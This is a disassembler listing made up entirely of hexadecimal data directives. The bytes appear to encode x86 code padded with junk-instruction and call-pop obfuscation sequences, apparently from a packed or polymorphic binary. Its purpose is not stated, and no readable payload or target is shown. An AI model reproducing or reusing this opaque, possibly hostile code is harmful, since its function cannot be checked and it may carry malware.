		dd 3E8h, 0C35E2000h, 2474895Eh,	24448104h, 1B04h, 0C3564600h
		dd 3EEB702h, 0C88842B9h, 0BB6108B3h, 38331C1Eh,	20619D8Bh
		dd 85C70607h, 6072FD5h,	3, 68E0Fh, 0BD8B0000h, 6070EC1h
		dd 0A291BD83h, 0F00060Ah, 3C84h, 53006A00h, 3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1D04h,	0C3534300h, 0B59310Ch
		dd 66D0B441h
		db 0D3h, 0E1h
word_584F4E	dw 0BD89h		; DATA XREF: ___:00436804o
		dd 6071E0Dh, 27E9h, 6820F00h, 8B000000h, 704599Dh, 0C305006h
		dd 11440011h, 10E8C101h, 2114430h, 3114C00h, 4E98358h
		dd 36EBE775h, 11043050h, 1116400h, 3010E8C1h, 21144h, 58031164h
		dd 7504E983h, 501BEBE7h, 2810E8C1h, 30031164h, 58021144h
		dd 1116428h, 83110430h,	0E77504E9h, 0C08B00EBh,	0F41BD23h
		dd 6A0607h, 3E856h, 5E200000h, 74895EC3h, 44810424h, 160424h
		dd 56460000h, 9B722FC3h, 0DE9F8h, 0F6200000h, 56B0702Bh
		dd 0CB730F9h, 835E3DAFh, 72FD5BDh, 850F0306h, 424h, 0E850006Ah
		dd 3, 58C35820h, 4244489h, 4244481h, 14h, 0F4C35040h, 0D2816660h
		dd 95890CC7h, 6072949h,	91BD8361h, 60AA2h, 3EE840Fh, 0DB810000h
		dd 7404BC11h, 0A291B5FFh, 6A060Ah, 3E852h, 5A200000h, 54895AC3h
		dd 44810424h, 140424h, 52420000h, 0DE95CC3h, 84000000h
		dd 0CC4470DFh, 0F0CB7CFFh, 5730D942h, 164195FFh, 0BD890607h
		dd 60721ADh, 0A285B58Bh, 6A060Ah, 3E855h, 5D200000h, 6C895DC3h
		dd 44810424h, 1A0424h, 55450000h, 6F5313C3h, 9708B0E2h
		dd 0D9CF8166h, 106C736h, 6A000100h, 3E85700h, 20000000h
		dd 895FC35Fh, 8104247Ch, 1C042444h, 47000000h, 8862C357h
		dd 31D0B5E8h, 66492BD5h, 5196DA8Bh, 505FDA8Bh, 3820Fh
		dd 8B660000h, 13E896D8h, 0F9000000h, 0D21F5C18h, 81BEE0C6h
		dd 0E743F1Ah, 306D7C49h, 8D89001Bh, 607182Dh, 0C19D315Fh
		dd 0FF06072Eh, 0AA291B5h, 0FFC6B706h, 71DE195h,	57006A06h
		dd 3E8h, 0C35F2000h, 247C895Fh,	24448104h, 1D04h, 0C3574700h
		dd 3C8876EDh, 4BFE855Bh, 0BB66B9F5h, 0BD8BDC22h, 6072949h
		dd 0A285B58Bh, 6A060Ah,	3E855h,	5D200000h, 6C895DC3h, 44810424h
		dd 150424h, 55450000h, 8BDF35C3h, 720A585h, 55006A06h
		dd 3E8h, 0C35D2000h, 246C895Dh,	24448104h, 1804h, 0C3554500h
		dd 4895177Ah, 0B98531FDh, 89060700h, 0C486h, 55006A00h
		dd 3E8h, 0C35D2000h, 246C895Dh,	24448104h, 1804h, 0C3554500h
		dd 0F0EDE555h, 0C1BD23D4h, 8B060703h, 70A0195h,	50006A06h
		dd 3E8h, 0C3582000h, 24448958h,	24448104h, 1D04h, 0C3504000h
		dd 0B5179A90h, 6390A885h, 0C283F85Ch, 11E804h, 67170000h
		dd 57D1D48Bh, 1B5FBDAh,	0D8AFC115h, 0FE2888Ch, 68Eh, 8E0F00h
		dd 5F000000h, 6A205089h, 3E85000h, 20000000h, 8958C358h
		dd 81042444h, 19042444h, 40000000h, 91A2C350h, 0B2B9138Ch
		dd 50DB8166h, 0BC858D9Eh, 0BB060AB5h, 4F51B93Bh, 1A758589h
		dd 86890607h, 0B8h, 0BF0F006Ah,	91B5FFDEh, 6A060AA2h, 3E85500h
		dd 20000000h, 895DC35Dh, 8104246Ch, 17042444h, 45000000h
		dd 4B9BC355h, 0B589EC90h, 607121Dh, 28595FFh, 0FC8A0607h
		dd 0AE950h, 363C0000h, 0E03115F1h, 23319673h, 8B243489h
		dd 719B9BDh, 91B5FF06h,	66060AA2h, 0FFFD83BBh, 7115595h
		dd 358D8906h, 8306071Ch, 706DDBDh, 840F0006h, 7Ah, 0E851006Ah
		dd 3, 59C35920h, 4244C89h, 4244481h, 19h, 0A5C35141h, 69BE009h
		dd 99958981h, 8906070Eh, 706BD9Dh, 830F9606h, 5, 0E9C9B7BBh
		dd 11E95006h, 7D000000h, 0E2DF26h, 9B391D94h, 0D0E70C9h
		dd 0F1731135h, 57006A96h, 3E8h,	0C35F2000h, 247C895Fh
		dd 24448104h, 1B04h, 0C3574700h, 82750553h, 113F9DD3h
		dd 20318529h, 0B5FF0607h, 60AA291h, 26698501h, 95FF0607h
		dd 6071BF1h, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h
		dd 17h,	0B3C35545h, 0F9B9510h, 388h, 0DF8B6600h, 0A291B5FFh
		dd 9D8B060Ah, 6071595h,	1AF595FFh, 6A0607h, 3E851h, 59200000h
		dd 4C8959C3h, 44810424h, 1A0424h, 51410000h, 3391D3C3h
		dd 6FE68618h, 19F5BD83h, 0F020607h, 3784h, 0B99D8B00h
		dd 8B06071Fh, 71A2985h,	55006A06h, 3E8h, 0C35D2000h, 246C895Dh
		dd 24448104h, 1A04h, 0C3554500h, 8B151308h, 0C6210DA2h
		dd 0BD010000h, 6071219h, 0D0985C7h, 607h, 6A0000h, 3E856h
		dd 5E200000h, 74895EC3h, 44810424h, 190424h, 56460000h
		dd 250ED8C3h, 66817FDEh, 3D06EF81h, 0FFF3CEE9h,	0B8F0FFFh
		dd 0E9000000h, 6, 0C7E413E9h, 0C18B4EEBh, 0CE8h, 0C0B55800h
		dd 149D269Bh, 0B5D41F8Eh, 0E1B58924h, 5F060720h, 2C61858Dh
		dd 0E8520607h, 9, 0E0AC5C97h, 1E860064h, 11E8ADh, 0ACA00000h
		dd 962B5C64h, 4C9FDFB9h, 203155BEh, 5F7FC039h, 66905B5Bh
		dd 5050D88Bh, 0D88B6652h, 10E9310Fh, 0A1000000h, 0F95CF241h
		dd 0A6CF740Eh, 0C8A0B8CFh, 5A1DE3D1h, 6A9058h, 3E850h
		dd 58200000h, 448958C3h, 44810424h, 140424h, 50400000h
		dd 0FE8DFC3h, 0C000000h, 0FB044ED0h, 0EE84894Fh, 72C64472h
		dd 49B301ECh, 6A006A5Fh, 3E85100h, 20000000h, 8959C359h
		dd 8104244Ch, 1A042444h, 41000000h, 1B27C351h, 0E03203F9h
		dd 9BD8B6Ah, 6A060732h,	559D8B00h, 8D060715h, 0B9A2285h
		dd 3D858906h, 57060732h, 0E8A0Fh, 8E80000h, 0AB000000h
		dd 534AC79Dh, 5B648DF4h, 5C0835Fh, 0E851006Ah, 3, 59C35920h
		dd 4244C89h, 4244481h, 1Dh, 0B5C35141h,	0BD3660F7h, 54664B11h
		dd 90DD8A30h, 0BB505F52h, 47EC30FEh, 50006A90h,	3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1404h,	0C3504000h, 0F8006A0Ch
		dd 0BB66006Ah, 0BD8BAE4Ah, 60719E5h, 133595FFh,	8D8D0607h
		dd 60A939Dh, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h
		dd 1Dh,	3C35747h, 7CC2EF7Ch, 63404F3Ch,	0CE98Ch, 53530000h
		dd 0A5B87AAFh, 8458208Ah, 0D1FF918Fh, 0A9CF8166h, 0B1BD8353h
		dd 1060732h, 9D850Fh, 6A0000h, 3E855h, 5D200000h, 6C895DC3h
		dd 44810424h, 180424h, 55450000h, 8F279AC3h, 8A0F3D1Ah
		dd 18h,	13E9h, 0A9DE0700h, 21E7549h, 16274B60h,	3E587A4Fh
		dd 0CD72A17Ah, 9D29026Ah, 6072179h, 0D98B6650h,	6A240489h
		dd 3E85200h, 20000000h,	895AC35Ah, 81042454h, 16042444h
		dd 42000000h, 9936C352h, 6DB5892Bh, 0FF06072Eh,	7028595h
		dd 56006A06h, 3E8h, 0C35E2000h,	2474895Eh, 24448104h, 1804h
		dd 0C3564600h, 3B9A5C25h, 0D19D89BFh, 0E9060712h, 0DBAh
		dd 0E8h, 0ED815D00h, 60B9A2Ch, 0E856006Ah, 3, 5EC35E20h
		dd 4247489h, 4244481h, 1Dh, 80C35646h, 82C1BE20h, 6F9B6727h
		dd 0E78166FAh, 6A15CEh,	3E853h,	5B200000h, 5C895BC3h, 44810424h
		dd 1D0424h, 53430000h, 0BFC543C3h, 0A46EDCC7h, 66A35999h
		dd 8D19A7BFh, 0A860385h, 50006A06h, 3E8h, 0C3582000h, 24448958h
		dd 24448104h, 1704h, 0C3504000h, 4E050275h, 13E990h, 8DAE0000h
		dd 0A25B1306h, 35C7DEFDh, 4E80B363h, 1738DEF4h,	0B8605043h
		dd 23A5D653h, 9061D08Bh, 4FD9D23h, 0BE90607h, 42000000h
		dd 645213AFh, 4A70C56Ah, 0FF647A96h, 35h, 52006A00h, 3E8h
		dd 0C35A2000h
		dd 2454895Ah, 24448104h, 1404h,	0C3524200h, 0CF816617h
		dd 896417D4h, 25h, 56006A00h, 3E8h, 0C35E2000h,	2474895Eh
		dd 24448104h, 1704h, 0C3564600h, 0E26EF24Bh, 0E9BD0BF5h
		dd 0B7060718h, 8985FF56h, 2906072Ch, 711A985h, 0F5FF6A06h
		dd 26DB5FFh, 6A0607h, 3E850h, 58200000h, 448958C3h, 44810424h
		dd 150424h, 50400000h, 0FF6476C3h, 7213D95h, 13BE906h
		dd 0DBBB0000h, 0B024C85Fh, 0A9BD0300h, 0E606071Ah, 14E970h
		dd 894E0000h, 0D57CA95h, 97312284h, 87A43C23h, 0EC8224C2h
		dd 71E4B931h, 1BC19D8Bh, 9D8B0607h, 6073339h, 830F613Ch
		dd 0FDh, 48F0Fh, 8B530000h, 0B60F5BFAh,	3D39BBC8h, 6BA5C8Fh
		dd 8B000000h, 70D5DBDh,	8BC18B06h, 4E8C1D9h, 14E9h, 0B6F9F400h
		dd 0E7C14DBh, 9A813EA1h, 37B3A8EEh, 36965EC8h, 0BE9DBh
		dd 882A0000h, 0AA02F8A0h, 0CDFFE3EBh, 0E2F766E6h, 32FD9589h
		dd 0C82B0607h, 319D9D03h, 0D18B0607h, 2CF58D29h, 0BF660607h
		dd 6E9DAAEh, 31000000h,	7333985h, 21858B06h, 0F060706h
		dd 687h, 21B58900h, 83060718h, 0E95707C0h, 10h,	28E81EAh
		dd 48334170h, 0C358753Bh, 0CF70F089h, 0C0835Bh,	3091B589h
		dd 0D03B0607h, 13830Fh,	89560000h, 71A699Dh, 3EE95B06h
		dd 1000000h, 717D5B5h, 518D8B06h, 66060713h, 0E183FB8Bh
		dd 26840F01h, 57000000h, 26E6BF66h, 51A5835Fh, 0FE060713h
		dd 9589FB8Bh, 6070621h,	15419529h, 0BD8B0607h, 60704E1h
		dd 0E9h, 4CB58D00h, 89060B04h, 733319Dh, 0F006A06h, 68Ah
		dd 85BD3300h, 0FF060731h, 71B6995h, 890F06h, 0F000000h
		dd 29B9F8BFh, 6A000009h, 3E85300h, 20000000h, 895BC35Bh
		dd 8104245Ch, 1C042444h, 43000000h, 11BDC353h, 3054664Bh
		dd 89340F98h, 700059Dh,	0FCE18306h, 6E8h, 9C552B00h, 5B059C8Dh
		dd 2B0DB7FCh, 50006AC0h, 3E8h, 0C3582000h, 24448958h, 24448104h
		dd 1404h, 0C3504000h, 68D0FD5h,	89000000h, 7179595h, 0FE8B306h
		dd 188Fh, 12820F00h, 0E8000000h, 0Ch, 684C1124h, 0A6BA44B6h
		dd 95463E8Ch, 0BA5Bh, 6A0000h, 3E855h, 5D200000h, 6C895DC3h
		dd 44810424h, 1D0424h, 55450000h, 0BBD40C3h, 0D7BA37C5h
		dd 66FFE48Bh, 1077F781h, 0D1C233ADh, 83D003E8h,	0F47504E9h
		dd 0BD8BD88Bh, 6072171h, 880Dh,	0F88B6600h, 0A01958Bh
		dd 6A0607h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 1C0424h
		dd 52420000h, 0CC203EC3h, 595C529Bh, 8D8B7608h,	60714A5h
		dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 17h, 51C35747h
		dd 0B7A35540h, 0C28B5012h, 0C103188Bh, 0C18B188Bh, 0C203E8D1h
		dd 6A58188Bh, 3E85300h,	20000000h, 895BC35Bh, 8104245Ch
		dd 1D042444h, 43000000h, 0D978C353h, 9943272Eh,	2D9DC93Eh
		dd 1BB5BD8Bh, 0BD830607h, 6072FF9h, 6F840F00h, 0E9000000h
		dd 0Eh,	0A7364A90h, 1C202EC8h, 4A44463Fh, 0B88132h, 6A000000h
		dd 3E85300h, 20000000h,	895BC35Bh, 8104245Ch, 19042444h
		dd 43000000h, 5052C353h, 4DA4D2A5h, 1BA9BD03h, 8D8D0607h
		dd 6074B4Ah, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h
		dd 14h,	6C35141h, 8DBFBF52h, 0BB5F5478h, 5CA8BC12h, 0BD83E1FFh
		dd 6072FD5h, 840F00h, 0E9000004h, 7, 7240B8EFh,	83753296h
		dd 72FD5BDh, 840F0106h,	402h, 0D5BD83F8h, 306072Fh, 3BE860Fh
		dd 60F80000h, 0E855006Ah, 3, 5DC35D20h,	4246C89h, 4244481h
		dd 1Ch,	6C35545h, 37877FB4h, 2E4C2F0Ch,	11E8h, 48848300h
		dd 0ABB0DB52h, 82C006A8h, 14FCC170h, 0B70F842Fh, 8C665FFFh
		dd 0E9C9B7D9h, 9, 74C43629h, 1A453E7Dh,	4E180FBh, 0E857006Ah
		dd 3, 5FC35F20h, 4247C89h, 4244481h, 14h, 0AC35747h, 3F795BBBh
		dd 0FC90A20h, 17284h, 858BF500h, 6070EF1h, 0E852006Ah
		dd 3, 5AC35A20h, 4245489h, 4244481h, 1Ah, 0DAC35242h, 8DA1AF80h
		dd 95896B4Fh, 607061Dh,	15698533h, 800F0607h, 6, 2DDBD89h
		dd 50900607h, 6A90DD8Ah, 3E85300h, 20000000h, 895BC35Bh
		dd 8104245Ch, 1A042444h, 43000000h, 0BB8AC353h,	23ED56FCh
		dd 12E992h, 90AD0000h, 5684B1BEh, 316A98A5h, 0D58F88AFh
		dd 8D755E19h, 0EC3119BFh, 6A006A65h, 3E85100h, 20000000h
		dd 8959C359h, 8104244Ch, 18042444h, 41000000h, 29EDC351h
		dd 0F8783B6Dh, 24E55B68h, 0FE99Ch, 0D91C0000h, 853519BAh
		dd 0C9F65E28h, 75201DC5h, 2404813Fh, 63FA1EA4h,	0E853006Ah
		dd 3, 5BC35B20h, 4245C89h, 4244481h, 18h, 62C35343h, 0B44C9D8Eh
		dd 0D2BFD98Bh, 0FF512E84h, 7056195h, 51006A06h,	3E8h, 0C3592000h
		dd 244C8959h, 24448104h, 1C04h,	0C3514100h, 9884D35Bh
		dd 0A0B4D133h, 0F9B70F74h, 0A2918589h, 6A060Ah,	3E856h
		dd 5E200000h, 74895EC3h, 44810424h, 170424h, 56460000h
		dd 949A27C3h, 0A99D8BEFh, 8B060711h, 713959Dh, 15AE906h
		dd 6A0000h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 190424h
		dd 51410000h, 0B05E9AC3h, 8BB6E4D4h, 0AA28985h,	29BD8906h
		dd 8B060721h, 732599Dh,	1800C706h, 6A000000h, 3E85100h
		dd 20000000h, 8959C359h, 8104244Ch, 1B042444h, 41000000h
		dd 0DA4BC351h, 0EDF517h, 89FCACE9h, 71C958Dh, 8DB58B06h
		dd 89060AA2h, 7184185h,	7D858B06h, 8906071Ch, 72CB985h
		dd 8B068906h, 705C99Dh,	0F1858B06h, 6A06070Eh, 3E85700h
		dd 20000000h, 895FC35Fh, 8104247Ch, 15042444h, 47000000h
		dd 8E3BC357h, 0E9044689h, 0Ch, 9E1995FEh, 0EC472DECh, 0BF49A384h
		dd 0DB816652h, 965B1204h, 9650D88Bh, 6860Fh, 9D030000h
		dd 6072885h, 0A289B5FFh, 9D68060Ah, 6656342Fh, 816072BFh
		dd 2C622434h, 6A562Bh, 3E851h, 59200000h, 4C8959C3h, 44810424h
		dd 180424h, 51410000h, 0B16FB8C3h, 858D726Bh, 60AA291h
		dd 11EF781h, 50504244h,	0F0BB6652h, 60310FC2h, 0D3DBFDBBh
		dd 585A615Ch, 6A240489h, 3E85600h, 20000000h, 895EC35Eh
		dd 81042474h, 16042444h, 46000000h, 0A774C356h,	8589F9E6h
		dd 60709F1h, 56195FFh, 0B5890607h, 6070D05h, 158D8961h
		dd 0C706070Eh, 72FD585h, 306h, 0DE800h,	0C8F50000h, 695EE56Ch
		dd 5B2EC5D0h, 0E8C1647Fh, 0Bh, 8DC10376h, 0C20AFC6Fh, 0F2129C9h
		dd 84h,	835F5F00h, 0AA291BDh, 840F0006h, 4Ch, 32D19D8Bh
		dd 5CE90607h, 6A000000h, 3E85000h, 20000000h, 8958C358h
		dd 81042444h, 18042444h, 40000000h, 0B790C350h,	604A4A6Ch
		dd 0FE9h, 20324300h, 61E8F430h,	0D7CF0B2Fh, 0BE92AC46h
		dd 6E9h, 0F2F7B700h, 613A0662h,	110C3050h, 1114400h, 3010E8C1h
		dd 21144h, 5803114Ch, 7504E983h, 5036EBE7h, 110430h, 0C1011164h
		dd 443010E8h, 64000211h, 83580311h, 0E77504E9h,	0C1501BEBh
		dd 642810E8h, 44300311h, 28580211h, 30011164h
		dd 0E9831104h, 0EBE77504h, 6AC08B00h, 3E85000h,	20000000h
		dd 8958C358h, 81042444h, 19042444h, 40000000h, 0FD0FC350h
		dd 0E07DEEA9h, 1845BD33h, 95890607h, 6071C65h, 2FD5BD83h
		dd 0F030607h, 49385h, 0F5952900h, 8306071Ch, 0AA291BDh
		dd 840F0006h, 480h, 0B5FFCEB3h,	60AA291h, 0F518D31h, 95FF0607h
		dd 6071641h, 4830Fh, 8B530000h,	0B58B5BD8h, 60AA285h, 0E857006Ah
		dd 3, 5FC35F20h, 4247C89h, 4244481h, 16h, 0BFC35747h, 0BB66620Eh
		dd 6C72A34h, 10001h, 159D0B57h,	5F060706h, 50E8B796h, 0ADBF6652h
		dd 0B7965FFDh, 91B5FF3Fh, 6A060AA2h, 3E85100h, 20000000h
		dd 8959C359h, 8104244Ch, 19042444h, 41000000h, 2056C351h
		dd 0A0C361B4h, 1DE195FFh, 6A0607h, 3E850h, 58200000h, 448958C3h
		dd 44810424h, 160424h, 50400000h, 0C6C02AC3h, 0CB9BD8Bh
		dd 8B560607h, 71BE99Dh,	0B58B5B06h, 60AA285h, 0E856006Ah
		dd 3, 5EC35E20h, 4247489h, 4244481h, 16h, 85C35646h, 8166B1E3h
		dd 6022C2C3h, 0E35E79BEh, 8B61FC09h, 720A585h, 2D9D8B06h
		dd 0F060726h, 686h, 67EB8100h, 893B60FCh, 0C486h, 52006A00h
		dd 3E8h, 0C35A2000h, 2454895Ah,	24448104h, 1D04h, 0C3524200h
		dd 0A94955C6h, 0C11374F2h, 800FC2BDh, 6, 3245BD33h, 9D230607h
		dd 6073029h, 0A01958Bh,	6A0607h, 3E856h, 5E200000h, 74895EC3h
		dd 44810424h, 1B0424h, 56460000h, 5B04AEC3h, 0E2A9D94Dh
		dd 0BF66539Ah, 8B5F88E0h, 4C283DFh, 0E857006Ah,	3, 5FC35F20h
		dd 4247C89h, 4244481h, 1Bh, 0ADC35747h,	0AEB4A762h, 0E8BC2D8Bh
		dd 13h,	0CF97A26h, 0A315FA9h, 69E82CE5h, 5E36F3CAh, 2916E434h
		dd 7190D8Dh, 0BD8B5B06h, 6070375h, 6A205089h, 3E85100h
		dd 20000000h, 8959C359h, 8104244Ch, 1A042444h, 41000000h
		dd 0E86DC351h, 0AAE95620h, 13E980h, 8B180000h, 30907F67h
		dd 0D66B7504h, 5F011FE1h, 80C8B959h, 0F88B664Dh, 0B5BC858Dh
		dd 8689060Ah, 0B8h, 0E853006Ah,	3, 5BC35B20h, 4245C89h
		dd 4244481h, 14h, 1FC35343h, 33158D89h,	6A0607h, 0E852006Ah
		dd 3, 5AC35A20h, 4245489h, 4244481h, 1Ah, 32C35242h, 6F070595h
		dd 8D31F236h, 60720A1h,	1A15B589h, 0B5FF0607h, 60AA291h
		dd 2D07E381h, 95FF2F09h, 6070285h, 0E852006Ah, 3, 5AC35A20h
		dd 4245489h, 4244481h, 14h, 99C35242h, 20B1BD23h, 57960607h
		dd 0F98B6660h, 5F61DF8Bh, 0DE1ABF50h, 6A9648F3h, 3E85700h
		dd 20000000h, 895FC35Fh, 8104247Ch, 1A042444h, 47000000h
		dd 0BC06C357h, 93ED9E8h, 91B589EBh, 0FF060715h,	0AA291B5h
		dd 0C810F06h, 0F000000h, 685h, 2DBD8B00h, 89060716h, 72F4D9Dh
		dd 5595FF06h, 6A060711h, 3E85500h, 20000000h, 895DC35Dh
		dd 8104246Ch, 18042444h, 45000000h, 746DC355h, 31546464h
		dd 730A185h, 5870F06h, 66000000h, 0AD2AD781h, 1889BD89h
		dd 0BD830607h, 60706DDh, 60840F00h, 6A000000h, 3E85500h
		dd 20000000h, 895DC35Dh, 8104246Ch, 16042444h, 45000000h
		dd 9E4AC355h, 5250509Fh, 0FF98B66h, 0A3BB6631h,	89585AAFh
		dd 6A2434h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 190424h
		dd 57470000h, 3BE387C3h, 0F744846h, 8E9FBBFh, 0D5000000h
		dd 0C54D275h, 0FF66DEBAh, 0AA291B5h, 419D8B06h,	89060729h
		dd 715A99Dh, 0F195FF06h, 0E806071Bh, 13h, 0D0A2F472h, 99679504h
		dd 0A149DD0Ah, 789ECDA7h, 66C9902Eh, 5FB70BBFh,	0B5FFEFB7h
		dd 60AA291h, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h
		dd 1Ah,	0EBC35141h, 16154457h, 95FF8BADh, 6071AF5h, 6E8h
		dd 1D2F6300h, 5B634CD2h, 19F5BD83h, 0F020607h, 4084h, 71BD8B00h
		dd 8B060706h, 71A2985h,	5810F06h, 0BF000000h, 33F7C90Dh
		dd 6A0000C6h, 3E85600h,	20000000h, 895EC35Eh, 81042474h
		dd 19042444h, 46000000h, 5520C356h, 8277EE03h, 0D2D38166h
		dd 985C741h, 6070Dh, 6A000000h,	3E85600h, 20000000h, 895EC35Eh
		dd 81042474h, 14042444h, 46000000h, 6060C356h, 98CA8166h
		dd 0F8E9811Bh, 61099087h, 0FFF374E9h, 66C18BFFh, 5CA6D381h
		dd 26BDBD8Bh, 858D0607h, 6072C61h, 5C1A06BBh, 8B60500Ch
		dd 48961CAh, 53006A24h,	3E8h, 0C35B2000h, 245C895Bh, 24448104h
		dd 1D04h, 0C3534300h, 7EE82B4Eh, 0FFAC69E2h, 8D89EC1Ch
		dd 6070B05h, 1FFD9D8Bh,	68BB0607h, 6A44AF0Ah, 8E900h, 0DDDE0000h
		dd 8D726135h, 6A6FA2h, 8DFA8B66h, 0BA9E685h, 53006A06h
		dd 3E8h, 0C35B2000h, 245C895Bh,	24448104h, 1B04h, 0C3534300h
		dd 6C107479h, 0DB0F05CDh, 6605C083h, 5041B9BFh,	0AAB86660h
		dd 0CF8B6643h, 24048961h, 0E853006Ah, 3, 5BC35B20h, 4245C89h
		dd 4244481h, 1Ch, 14C35343h, 0D0D3A757h, 5AAFC0Fh, 2899D29h
		dd 6A0607h, 6E9h, 0EA429300h, 6AC83402h, 0DE800h, 97370000h
		dd 1D2CE819h, 0E3CAD01h, 894A5561h, 700519Dh, 95FF5F06h
		dd 6071335h, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h
		dd 1Dh,	0A2C35040h, 3AD26B51h, 6E6FF76h, 48BF66E6h, 13E916h
		dd 53800000h, 6A8FF74Ah, 0BA4F56DEh, 7D5B543Fh,	0ED3A33CBh
		dd 9D8D8DBFh, 6A060A93h, 3E85300h, 20000000h, 895BC35Bh
		dd 8104245Ch, 18042444h, 43000000h, 0AD7FC353h,	8BD5D31Ah
		dd 70CF5BDh, 8BD1FF06h,	730959Dh, 0E9575206h, 0Ah, 0AFA4E4D2h
		dd 9661B145h, 5B5B4067h, 32B1BD83h, 0F010607h, 7E85h, 0C1B58900h
		dd 6A06072Eh, 21958902h, 90060710h, 8B665250h, 66310FFEh
		dd 5A3913BFh, 52505058h, 0AE8h,	0C77FF400h, 700F141Ch
		dd 509DCD94h, 5A310F52h, 310F5B58h, 585ADA8Bh, 53006A90h
		dd 3E8h, 0C35B2000h, 245C895Bh,	24448104h, 1D04h, 0C3534300h
		dd 9663C294h, 8E795FE1h, 8B66F02Ah, 0D19D8BDFh,	0FF060713h
		dd 7028595h, 8D896006h,	6071B19h, 11D59D89h, 0E9610607h
		dd 0F16h, 0E8h,	0ED815D00h, 60BA9F0h, 0E852006Ah, 3, 5AC35A20h
		dd 4245489h, 4244481h, 1Bh, 4EC35242h, 0F6D50A81h, 0FC4BF756h
		dd 3CCF8166h, 0FA8B6662h, 8603858Dh, 8960060Ah,	71BF585h
		dd 61D48A06h, 69BD2Bh, 0BF900607h, 40872E42h, 50525050h
		dd 890F52h, 0F000000h, 0F585A31h, 11E931h, 0B610000h, 4EA8C329h
		dd 0D1B63F4Ch, 0C9B553C1h, 5A0E771Ah, 6A9058h, 3E856h
		dd 5E200000h, 74895EC3h, 44810424h, 180424h, 56460000h
		dd 600347C3h, 8C0F0202h, 6, 1D9D8589h, 0FF640607h, 35h
		dd 0A9B58900h, 0E9060706h, 5, 7A39BAF9h, 258964E2h, 0
		dd 559D8953h, 5B06070Ch, 2C8985FFh, 0FF6A0607h,	0E850006Ah
		dd 3, 58C35820h, 4244489h, 4244481h, 1Dh, 12C35040h, 41A6F984h
		dd 0D2DB6409h, 12E94Ah,	0B4D0000h, 12BD91B5h, 66674C16h
		dd 0FE3CFD08h, 5EDA20BCh, 4219D8Bh, 0B5FF0607h,	607128Dh
		dd 0D323BB66h, 213D95FFh, 54E90607h, 0E8000001h, 0Bh, 0FAD371CEh
		dd 0DF0735D3h, 291D021Dh, 72FCDB5h, 0B05F06h, 0E6DE8B66h
		dd 0C19D8B70h, 0E4060726h, 0FA8B6671h, 830F613Ch, 123h
		dd 0EBEEB81h, 0B60F7EB2h, 8D0F60C8h, 5,	0C8EA8166h, 6BA619Fh
		dd 60000000h, 10E8h, 6650DD00h,	2D8FD053h, 8E07AEB8h, 0D52F4BE8h
		dd 0FC5AF539h, 0FC18B61h, 0A8Eh, 0F08A6000h, 1955958Bh
		dd 0C1610607h, 0B50904E8h, 6071825h, 89E2F766h,	726A58Dh
		dd 89C82B06h, 7194585h,	80D18B06h, 9D8BCEDBh, 6072879h
		dd 0B2E9h, 0C3806000h, 0BE9A5h,	21170000h, 2882C85Bh, 0D8C67AA5h
		dd 858B616Dh, 8, 0C1BD8Bh, 0C0830607h, 12E807h,	23DF0000h
		dd 0B30E3E04h, 929EE75Dh, 0C6521528h, 66EF60h, 3331B589h
		dd 8B5F0607h, 0C083D9h,	61B50360h, 5106070Dh, 615A6160h
		dd 830FD03Bh, 11h, 52E9h, 0F9858900h, 89060705h, 71DC595h
		dd 0FF8D8B06h, 0BFFFFFFFh, 7A4961BDh, 0F01E183h, 3284h
		dd 0A5BD8B00h, 66060700h, 382CF81h, 0FFFFA583h,	0E8FEFFFFh
		dd 6, 0A1FAA901h, 8B52FCF2h, 895B5BF8h,	895h, 0DB816600h
		dd 0E9405Ah, 8D000000h,	0B2AFEB5h, 53006A06h, 3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1B04h,	0C3534300h, 89906E50h
		dd 2ECDB777h, 12E9h, 4A283100h,	2E3F743Eh, 52FE7A6Dh, 59F343E1h
		dd 6ABAAE75h, 2810F00h,	8B000000h, 6995FFFEh, 6A06071Bh
		dd 3E85000h, 20000000h,	8958C358h, 81042444h, 15042444h
		dd 40000000h, 0DE50C350h, 6810Fh, 95890000h, 607272Dh
		dd 32919589h, 11B90607h, 8900000Fh, 72CB58Dh, 0FCE18306h
		dd 1A918509h, 6AFC0607h, 3E85200h, 20000000h, 895AC35Ah
		dd 81042454h, 1B042444h, 42000000h, 0DE3BC352h,	319EA435h
		dd 0E9602C3Bh, 10h, 0E9FA21D4h,	81E5F1A6h, 256F0CF7h, 7111E325h
		dd 0D1B36061h, 0B861h, 6A0000h,	3E852h,	5A200000h, 54895AC3h
		dd 44810424h, 1C0424h, 52420000h, 6440BAC3h, 63065D60h
		dd 0BF66EBBAh, 0BACEFCh, 0BB000000h, 2B3B164Ah,	0D1C233ADh
		dd 83D003E8h, 0F47504E9h, 6A91B7h, 3E852h, 5A200000h, 54895AC3h
		dd 44810424h, 140424h, 52420000h, 880D37C3h, 6A000000h
		dd 3E85700h, 20000000h,	895FC35Fh, 8104247Ch, 1C042444h
		dd 47000000h, 3F27C357h, 2AD753BBh, 153219Fh, 7189195h
		dd 1958B06h, 6A06070Ah,	3E85200h, 20000000h, 895AC35Ah
		dd 81042454h, 14042444h, 42000000h, 8BF5C352h, 7307DBDh
		dd 0A58D8B06h, 53060714h, 5FF8B70Fh, 8BC28B50h,	8BC10318h
		dd 0D1C18B18h, 8BC203E8h, 6A5818h, 3E855h, 5D200000h, 6C895DC3h
		dd 44810424h, 140424h, 55450000h, 0F78145C3h, 0BD36B40h
		dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 15h, 0C2C35747h
		dd 0EE920h, 815F0000h, 27F27AA9h, 0D494C997h, 516B8E68h
		dd 3971B1BBh, 0F9BD8314h, 6072Fh, 99840Fh, 6A0000h, 3E851h
		dd 59200000h, 4C8959C3h, 44810424h, 150424h, 51410000h
		dd 89906FC3h, 70299B5h,	0B806h,	6A0000h, 3E852h, 5A200000h
		dd 54895AC3h, 44810424h, 1C0424h, 52420000h, 94B863C3h
